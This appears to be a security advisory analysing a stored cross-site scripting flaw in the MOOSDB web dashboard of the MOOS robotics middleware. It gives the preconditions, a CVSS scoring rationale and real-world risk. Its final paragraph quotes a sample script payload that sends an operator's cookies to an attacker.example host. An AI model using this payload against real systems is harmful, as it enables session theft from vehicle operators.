MOOS core-moos CVE-2026-85453

The MOOSDB HTTP web interface must be accessible over the network (it is an optional built-in component, not enabled in all deployments). The attacker must have network-level access to publish messages to the MOOS community - MOOS clients are unauthenticated by protocol design, so no credentials are required. Exploitation also requires that an operator or administrator subsequently view the MOOSDB HTTP page in a web browser. Limiting factors: the MOOSDB HTTP interface may not be exposed if the deployment is headless or if the HTTP port is firewalled; the payload only executes when a human browses to the monitoring page (UI:P), ruling out fully automated exploitation.

The CVSS 4.0 score of 5.3 (AV:N/AC:L/AT:N/PR:N/UI:P) correctly characterizes this as medium severity. PR:N reflects the MOOS protocol design: any network-accessible client can publish without authentication. The UI:P (passive user interaction) requirement - an operator must open the web interface - is the main exploitation barrier. In a typical MOOS deployment, the web interface is accessed by human operators monitoring vehicle state, making this a credible target. EPSS data is not provided; no CISA KEV listing and no standalone public exploit code have been identified at time of analysis. Real-world risk is constrained by the niche deployment footprint of MOOS (primarily academic and naval-research environments) and by the requirement that both a malicious publisher and a web-interface viewer exist concurrently. However, in a compromise scenario the XSS could be used to steal operator session context or inject commands through the web form interface, escalating impact beyond simple information disclosure.

An attacker with network access to a MOOS community (no authentication required) connects as a MOOS publisher and posts a variable named or valued with a script payload such as <script>fetch('https://attacker.example/steal?c='+document.cookie)</script>. When a system operator opens the MOOSDB HTTP dashboard to monitor vehicle state, the unescaped payload executes in their browser, exfiltrating session tokens or enabling further interface manipulation. No standalone public exploit code has been identified, but the vulnerability is straightforward to exploit given the source code disclosure.